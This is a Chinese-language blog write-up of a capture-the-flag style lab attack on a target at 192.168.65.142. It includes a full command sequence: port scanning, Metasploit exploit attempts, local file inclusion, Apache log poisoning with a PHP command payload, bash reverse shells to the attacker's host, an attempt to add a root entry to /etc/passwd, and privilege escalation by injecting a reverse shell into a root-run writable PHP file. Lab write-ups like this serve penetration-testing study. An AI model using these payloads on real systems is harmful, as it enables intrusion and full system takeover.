提示:本文记录了博主的一次失败的打靶经历。
目录
1. 主机发现
目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.65.0/24
锁定靶机地址为192.168.65.142。
2. 端口扫描
通过下面的命令对目标靶机进行全端口扫描。
$ sudo nmap -p- 192.168.65.142
啊,这个靶机上开放的端口还真是不少。
3. 服务枚举
通过下面的命令对目标靶机上开放的端口上的服务进行枚举。
$ sudo nmap -p21,22,25,80,139,445,2121,3128,8593,54787,62524 -A -sT -sV 192.168.65.142
既然扫描出了这么多服务,那就逐个探查一下吧。
4. 服务探查
4.1 ftp服务探查
先尝试匿名登录试试看。
ftp服务不允许Anonymous用户登录,查一下公共EXP。
竟然没有。
4.2 web服务探查
先用浏览器打开看看。
感觉像是做了一个假的页面一样,直接目录枚举一下。
$ dirsearch -u http://192.168.65.142
绝大部分都是403,对于返回结果是301和200的页面都用浏览器打开看看,没有发现实际可用的内容。
4.3 samba服务探查
先连接一下试试看。
$ smbclient -L //192.168.65.142
尝试发送消息试试看。
$ smbclient -M 192.168.65.142
还是失败,使用下面的Metasploit也没有得到立项的结果。
4.4 smtp服务探查
先连接一下试试看。
$ nc 192.168.65.142 25
还是有反应的,不过不知道怎么用,先用Metasploit搜索一下看看。
看上去下面几个都是可以利用的,逐个试试看。
msf6 > use exploit/linux/smtp/exim_gethostbyname_bof
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > set RHOSTS 192.168.65.142
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > run
sf6 > use exploit/linux/smtp/exim4_dovecot_exec
msf6 exploit(linux/smtp/exim4_dovecot_exec) > set RHOSTS 192.168.65.142
msf6 exploit(linux/smtp/exim4_dovecot_exec) > run
msf6 > use exploit/unix/smtp/exim4_string_format
msf6 exploit(unix/smtp/exim4_string_format) > set RHOSTS 192.168.65.142
msf6 exploit(unix/smtp/exim4_string_format) > set payload payload/cmd/unix/reverse_bash_telnet_ssl
msf6 exploit(unix/smtp/exim4_string_format) > set LHOST 192.168.65.202
msf6 exploit(unix/smtp/exim4_string_format) > run
msf6 > use exploit/unix/webapp/wp_phpmailer_host_header
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > set RHOSTS 192.168.65.142
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > set LHOST 192.168.65.202
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > run
各种异常,没有一个是可以正常利用的。
4.5 Squid http proxy服务探查
直接用Metasploit搜索一下。
msf6 > search squid
也没几个,直接试试吧。
msf6 > use exploit/linux/proxy/squid_ntlm_authenticate
msf6 exploit(linux/proxy/squid_ntlm_authenticate) > set RHOSTS 192.168.65.142
msf6 exploit(linux/proxy/squid_ntlm_authenticate) > set RPORT 3128
msf6 exploit(linux/proxy/squid_ntlm_authenticate) > run
等了半小时也没有结果,直接强制中断,其它的两个根本没戏,不会对我们的反弹shell有帮助。
4.6 PHP cli server探查
在服务枚举的时候发现这个是http服务,那就直接用网页试试看。
嗯,是一个页面,还要超链接,打开burp,然后进去看看吧。
第一个超链接就是index页面,也就是当前打开的页面本身,接下来试试第二个。
第二个超链接指向了一个“/index.php?book=list”,这可能会引起本地文件包含(LFI)的风险,比如我们看看是不是可以查看主机的/etc/crontab文件(把URI指向“/index.php?book=../../../../../../../../../etc/crontab
”)。
确实可以打印出文件的内容,接下来我们看看/etc/passwd里面的内容。
妥妥的,我们把内容格式化一下,看看具体的信息。
还是有些信息值得我们关注的,直接ssh试一下root和miguel试试看。
都没给输入密码的机会,黔驴技穷了。
4.7 总结回顾
我们的首要目标是要构建反弹shell。从目前为止没有发现任何的sql注入、文件上传等的入口,没有办法往服务器上写东西,是没法建立反弹shell的。仔细想一下,貌似我们唯一能够引起的服务器变化就是写日志,而且还不受我们控制。理论上讲,我们每次访问apache服务的时候,不论成功与否,apache应该都会记录日志,这貌似是唯一跟我们的输入有关系的内容。上网搜索了一下apache的日志貌似是“/var/log/httpd/access_log.log”或者“/var/log/apache2/access.log”,我们分别试一下看看。
看来第一个不正确,再试试第二个。
嗯,第二个是正确的。我们通过80端口随便访问一个URI(这里用“http://192.168.65.142/testuri.html
”)看看是不是可以记录日志。
404 Not Found,这是我们预期的,因为这个URI根本不存在,接下来我们看看access.log日志。
确实在日志文件的最后打印了这次请求的记录。接下来,我们通过nc访问靶机的80端口,看看是不是可以提交一些别的请求(这里用的是“GET <?php system($_GET[MyCommand]); ?> HTTP/1.1”)来影响日志内容的显示。
我们再来看看日志里面记录了啥。
有意思,从这个请求日志可以看出,我们这次的GET方法的请求内容是没有被记录到日志里面的,但是log记录了这次GET请求。其实这里构造了一个PHP的payload,用于执行MyCommand指令并返回结果。下面我们执行一下whoami试试看。
http://192.168.65.142:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&MyCommand=whoami
再试试id。
http://192.168.65.142:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&MyCommand=id
妥了,这说明这里输入的命令是可以被执行的,应该可以直接从这里构建反弹shell。
5. 突破边界
因为这里的命令是在url请求中的,前面我们都是测试的whoami、id等没有任何特殊字符的命令,所以可以直接放在MyCommand后面,但是构建反弹shell的命令需要转为URL的格式。我们尝试使用下面的反弹shell命令。
bash -c 'exec bash -i &>/dev/tcp/192.168.65.202/9999 <&1'
继续使用站长工具进行URL编码。
bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.65.202%2F9999%20%3C%261%27
在kali上9999端口建立监听,然后在浏览器中请求。
http://192.168.65.142:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&MyCommand=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.65.202%2F9999%20%3C%261%27
反弹成功了。
进一步验证一下。
确实突破边界了。
6. 提权
6.1 系统信息枚举
$ uname -a
$ cat /etc/*-release
$ getconf LONG_BIT
64为的debian 10,内核版本为4.19.98-1。
6.2 弱密码登录
尝试一下弱密码。
看来密码也不太弱。
6.3 枚举定时任务
没有可以直接利用的定时任务。
6.4 查看/etc/passwd
可以直接shell登录的就是root和miguel,跟我们之前通过浏览器查看的结果一样。尝试写入新用户。
$ openssl passwd test123
$ echo "testusr: $1$eXXAExQC$6jkYvs7XGZewdesHYO6je0:0:0:root:/root:/bin/bash" >> /etc/passwd
没权限,正常。
6.5 枚举可执行文件
查看带有SUID的可执行文件。
$ find / -perm -u=s -type f 2>/dev/null
pkexec和exim4比较可疑,网上搜索一下看看是否可以用于提权。
貌似还真有,那就看看吧。貌似这个CVE-2021-4034的漏洞是针对polkit工具的,这是linux下的一个授权管理器,广泛存在于发行版linux上。我们先查看一下靶机上的polkit版本。
这个版本应该是受影响的,POC公开在git上:https://github.com/berdav/CVE-2021-4034。
$ git clone https://github.com/berdav/CVE-2021-4034.git
$ cd CVE-2021-4034
$ make
将编译好的cve-2021-4034上传到靶机的/tmp目录下,并执行。
报错了,应该还是编译版本的问题,在ubuntu 16上编译再上传靶机试试。
这个漏洞在靶机上是被修复过的,但是在Ubuntu 16上是可以提权成功的。
再搜搜看exim4是否可以提权。
貌似也有,先看看靶机上的exim4版本。
从上述searchsploit搜索结果来看,没有符合exim 4.92版本的EXP。
6.6 内核提权
进一步确认下系统内核版本。
4.19.0-8,搜索一下searchsploit。
标出来的这6个都是有提权的可能的,不过第二个pkexec我们已经试过了,之前没搞定。把代码都下载下来试试再说。
$ searchsploit -m 50135 47163 47164 47165 47166 47167
6.6.1 50135提权
本地的kali太新了,直接放到Ubuntu上编译,并上传到靶机执行。
ubuntu@ubuntu:~/Desktop$ gcc -static -o 50135 50135.c
提权失败,在ubuntu上试了一下,也是报错了,不过相对好一些。
6.6.2 47163提权
同样直接放到Ubuntu上编译,并上传到靶机执行。
ubuntu@ubuntu:~/Desktop$ gcc -s 47163.c -o 47163
看来这个漏洞也不存在,在ubuntu上试一下。
仍然不成功。
6.6.3 47164提权
直接把47164.sh脚本上传到目标靶机执行。
其它三个脚本也是同样的问题。
6.7 linpeas提权
用大杀器linpeas试试看,没有发现太多特殊的,但是有一条引起了注意。
说明我们的sudo版本可能存在漏洞,先查看一下靶机的sudo版本。
是1.8.27版本,再通过searchsploit查看一下。
我们的版本号赫然在列,查看EXP代码,这是一个编号为CVE-2019-14287的sudo安全绕过漏洞。
直接把脚本上传到靶机上运行一下。
又报tty的问题了,优化一下shell,然后再执行一下。
www-data@solstice:/tmp$ /usr/bin/python -c "import pty;pty.spawn('/bin/bash')"
www-data@solstice:/tmp$ /usr/bin/python3.7 47502.py
额,要知道当前用户的密码才可以,看来这个路子在这里行不通。
到目前为止,所有的提权方式都失败了。网上搜搜看看大神们是怎么提权的,这里参照“仙女像”大神的博客进行提权(https://blog.csdn.net/elephantxiang/article/details/126335716
)。
6.8 利用可读可写的目录和文件提权
其实本质上还是先搜索一下可读可写的文件和目录(忽然想起,之前我都是搜索这一项的,这里竟然忘记了,基本功不扎实啊)。
先用之前用过的方法,搜索一下root用户所有的,其它用户可读可写的可执行文件。
$ find / -type f -user root -perm -o=w 2>/dev/null
除了之前扫描出的/sys/和/proc/目录下的文件外,有一个比较特殊的文件“/var/tmp/sv/index.php”。
再用“仙女像”大神的命令搜索一下看看。
$ find / -user root -perm /4000 2>/dev/null
也能搜索到这个目录,但是不会搜索出底下的文件,顺便搜索了一下4000貌似会搜出所有suid的文件。
感觉上面两个命令都不是很完美,我们用下面的命令试试看(即两个命令结合一下)。
$ find / -type f -user root -perm /4000 2>/dev/null
看来更加糟糕,我们用下面的方法优化一下。
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
貌似这样不错,不纠结了,看看这个神奇的“/var/tmp/sv/index.php”。
额,内容简单的不能再简单了,可以在这里插入反弹shell,不过得先看看这个/var/tmp/sv目录和index.php文件是那个进程或者那个账号启动的,如果不是root启动的话,反弹的shell也不会有root权限。
$ ps -ef | grep "/var/tmp/sv"
是root用户运行的,直接就是/usr/bin/php程序运行的。我们用echo命令修改一下这个文件,如下。
$ echo "<?php" > /var/tmp/sv/index.php && echo "echo \"Under construction\";" >> /var/tmp/sv/index.php && echo "exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.65.202/8888 0>&1'\");" >> /var/tmp/sv/index.php && echo "?>" >> /var/tmp/sv/index.php
说明:之所以这么复杂,是没有修改原有的index.php的功能,只是在里面插入了构建反弹shell的内容。
修改后的内容如下。
接下来在kali上监听8888端口。
然后在靶机上通过nc访问运行这个进程的57端口,并请求/index.php文件。
这个时候kali上的监听端口没有任何反应,再敲一下回车键,监听就建立成功了。
第一次见这么神奇的提权过程,感谢“仙女像”大神的分享。验证一下是否提权成功。
是OK的,没有什么问题。